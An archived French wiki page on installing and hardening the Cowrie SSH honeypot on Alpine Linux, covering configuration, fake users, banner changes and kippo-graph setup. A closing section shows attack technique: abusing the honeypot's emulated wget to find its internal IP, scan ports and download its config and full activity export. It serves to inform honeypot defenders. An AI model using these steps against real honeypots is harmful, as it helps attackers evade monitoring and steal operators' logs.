Aller au contenu

ybfr/wiki:HoneyPotCowrie


Ldfa

Messages recommandés

Cowrie

Pages ayant un lien vers la page courante :
HoneyPot
LinuxBash

Installation sous Alpine

adduser -D cowrie
apk add git build-base mysql mysql-dev
apk add python py-twisted py-zope-interface py-pip openssl openssl-dev libffi python-dev libffi-dev
pip install --upgrade pip
pip install pyopenssl service_identity mysql-python

Update

cd cowrie
git checkout
git stash
git pull --rebase
git stash pop

Si conflit, éditer le fichier concerné (Il existe peut être mieux à faire)

Sauvegarde de la conf

Toujours faire une sauvegarde, on est jamais a l’abri d'une erreur de git
su - cowrie
tar -c -v -z -f cowrie-backup-`date "+%Y-%m-%d-%s"`.tgz -T cowrie/* --exclude cowrie/log --exclude cowrie/dl -X cowrie/log/tty

Nettoyage

cowrie.cfg
On modifie :
hostname =
fake_addr =
internet_facing_ip =

Et on décommente [database_mysql] en configurant ce qu'il y a en dessous pour utiliser kippo-graph.

Lister les commandes saisies

grep -r "CMD:" cowrie/log/
Richard
L'utilisateur existant dans le système s'appelle Richard. Il faut donc le remplacer par des utilisateurs standards dans le etc/passwd :

cowrie/honeyfs/etc/passwd
cowrie/honeyfs/etc/shadow
cowrie/honeyfs/etc/group

Note : ces deux fichiers ci-dessus sont des faux, ils ne sont pas utilisés pour gérer les accès au honeypot. Les utilisateurs se configurent dans le fichier ci-dessous

Dans la base des users :

cowrie/data/userdb.txt

puis dans le filesystem :

cowrie/utils/fsctl.py cowrie/data/fs.pickle

rm -r /home/richard
mkdir /home/admin
mkdir /home/nagios
ssh -V
Une technique pour vérifier si l'on se trouve sur un kippo est aussi de vérifier la version du client ssh avec -V, qui retourne
OpenSSH_6.7p1 Debian-5, OpenSSL 1.0.1k 8 Jan 2015
par défaut.
Cette chaine est hardcodée dans le fichier cowrie/cowrie/commands/ssh.py; il faut la modifier avec quelque chose de différent ou de plus exotique :
OpenSSH_6.7p1 Ubuntu-5ubuntu1, OpenSSL 1.0.1f 6 Jan 2014
Fichiers
En se basant sur https://capsop.com/kippo :
cd cowrie/honeyfs/
cat /proc/cpuinfo > proc/cpuinfo
cat /proc/meminfo > proc/meminfo
cat /proc/version > proc/version
perl -v > bin/perl

Ne pas oublier :
etc/issue
etc/motd
etc/hostname
etc/hosts
cowrie/commands/ifconfig.py

Ajout de commandes

Après quelques jour de fonctionnement, et grâce à l'interface kippo-graph, on peut voir que certaines commandes bien utilisées ne sont pas implémentées : kippo-input > Top 10 failed input

On modifie le filesystem pour ajouter les commandes et modifier le Command not found: renvoyé par défaut par kippo pour les commandes inconnues :

cowrie/utils/fsctl.py cowrie/data/fs.pickle

touch /usr/bin/sudo
touch /bin/for
touch /bin/do
touch /bin/break
touch /bin/unset
touch /bin/export
touch /sbin/arp

Et on ajoute dans les txtcmds

echo "syntax error near unexpected token '`'" > cowrie/txtcmds/bin/for
echo "syntax error near unexpected token 'do'" > cowrie/txtcmds/bin/do
echo "syntax error near unexpected token 'break'" > cowrie/txtcmds/bin/break
echo "Neighbour table overflow" > cowrie/txtcmds/sbin/arp
echo "" > cowrie/txtcmds/bin/unset
echo "" > cowrie/txtcmds/bin/export
echo "User not in the sudoers file.  This incident will be reported." > cowrie/txtcmds/usr/bin/sudo

Note : Bien que "for", "do" et consort ne soient pas vraiment des binaire, je les ai quand même crées dans /bin pour pouvoir facilement modifier le txtcmd.

Other tweaks

id
commands/base.py
Ajouter après groups=%d(%s) : ,0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)

Kippo-graph

Configuration de la base SQL :
mysql -h localhost -u root -p
mysql> create database kippo;
mysql> GRANT ALL ON kippo.* TO 'kippo'@'localhost' IDENTIFIED BY 'Kippo-password';
exit

Créer les tables avec la requete située dans le répertoire d'installation de cowrie :

cd cowrie/doc/sql/
mysql> mysql -u kippo -p
mysql> use kippo;
mysql> source mysql.sql;
mysql> show tables;
exit

Sous Alpine avec lighttpd, ajouter :
Attention : Pas de geoip "plugnplay" avec lighttpd pour le moment.
apk add php-pdo_mysql php-gd

Defeating kippo

Il est possible de retourner wget contre le honeypot pour en retrouver l'IP interne, et faire un scan de port :
IP inexistante
No route to host :
root@localhost:/# wget 172.16.1.8:5001
--2015-09-01 10:22:10--  http://172.16.1.8:5001
Connecting to 172.16.1.8:5001... connected.
HTTP request sent, awaiting response... ^C
An error occurred while connecting: 113: No route to host.

Timeout :

root@localhost:/# wget 192.168.0.1:5001
--2015-09-01 10:22:46--  http://192.168.0.1:5001
Connecting to 192.168.0.1:5001... connected.
HTTP request sent, awaiting response... User timeout caused connection failure.
IP existe, port fermé
Connection refused
root@localhost:/# wget 172.16.1.9:5001
--2015-09-01 10:22:01--  http://172.16.1.9:5001
Connecting to 172.16.1.9:5001... connected.
HTTP request sent, awaiting response... Connection was refused by other side: 111: Connection refused.
IP interne du HP !
Connection was closed cleanly :
root@srv-backup:~# wget 172.16.1.10:2222
--2015-09-01 10:24:20--  http://172.16.1.10:2222
Connecting to 172.16.1.10:2222... connected.
HTTP request sent, awaiting response... Connection was closed cleanly.
Exploitation
  • Voir si un serveur HTTP tourne dessus (très probable, car souvent utilisé avec kippo-graph):

wget 172.16.1.10; cat index.html
Connecting to 172.16.1.10:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 177 (177bytes) [text/html]
Saving to: `/root/index.html

100%[======================================>] 177          60K/s/s  eta 0s

2015-09-01 10:31:54 (60 KB/s) - `/root/index.html' saved [177/177]
<html><body><h1>It works!</h1>
[..]
  • Récupérer des fichiers.
Je ne sais pas pourquoi je ne peux pas récuperer le config.php (je n'ai pas vraiment cherché encore).
root@srv-backup:~# wget http://172.16.0.10/kippo-graph/config.php.dist
--2015-09-01 11:27:37--  http://172.16.0.10/kippo-graph/config.php.dist
Connecting to 172.16.0.10:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3777 (3K) [text/whatever]
Saving to: `/root/config.php.dist

100%[======================================>] 3,777        1644K/s/s  eta 0s

2015-09-01 11:27:37 (1644 KB/s) - `/root/config.php.dist' saved [3777/3777]
root@srv-backup:~# cat /root/config.php.dist
<?php
# Author: ikoniaris
# Website: bruteforce.gr/kippo-graph

# DIR_ROOT: defines where your Kippo-Graph installation currently resides in.
# Please don't change this unless there is a special reason to do so.
[...]
  • Lister les pages web :
NOK :
root@srv-backup:~# curl http://172.16.1.10/index.htm
404 Not Found

OK :
root@srv-backup:~# curl http://172.16.1.10/index.html
Your file here
'NoneType?' object has no attribute 'strip'

  • Récupérer toute l'activité du honeypot:
(la requête peut être très longue )
wget "http://172.16.1.10/kippo-graph/include/export.php?type=allActivity"; cat /root/export.php
Source
https://www.alertlogic.com/blog/attacking-kippo/
http://www.cert.pl/PDF/kippo_en.pdf
https://github.com/andrew-morris/threat_research
http://www.rafayhackingarticles.net/2013/06/using-honeypots-to-your-advantage.html
http://turbochaos.blogspot.fr/2013/05/attacking-kippo.html
http://morris.guru/detecting-kippo-ssh-honeypots/
https://cultofthedyingsun.wordpress.com/2014/09/12/death-by-magick-number-fingerprinting-kippo-2014/
https://blacks3pt3mb3r.wordpress.com/honeypot-related-stuffz/making-a-good-first-impression/


Afficher l’article complet

Lien vers le commentaire
Partager sur d’autres sites

Archivé

Ce sujet est désormais archivé et ne peut plus recevoir de nouvelles réponses.

×
×
  • Créer...

Information importante

Nous avons placé des cookies sur votre appareil pour aider à améliorer ce site. Vous pouvez choisir d’ajuster vos paramètres de cookie, sinon nous supposerons que vous êtes d’accord pour continuer.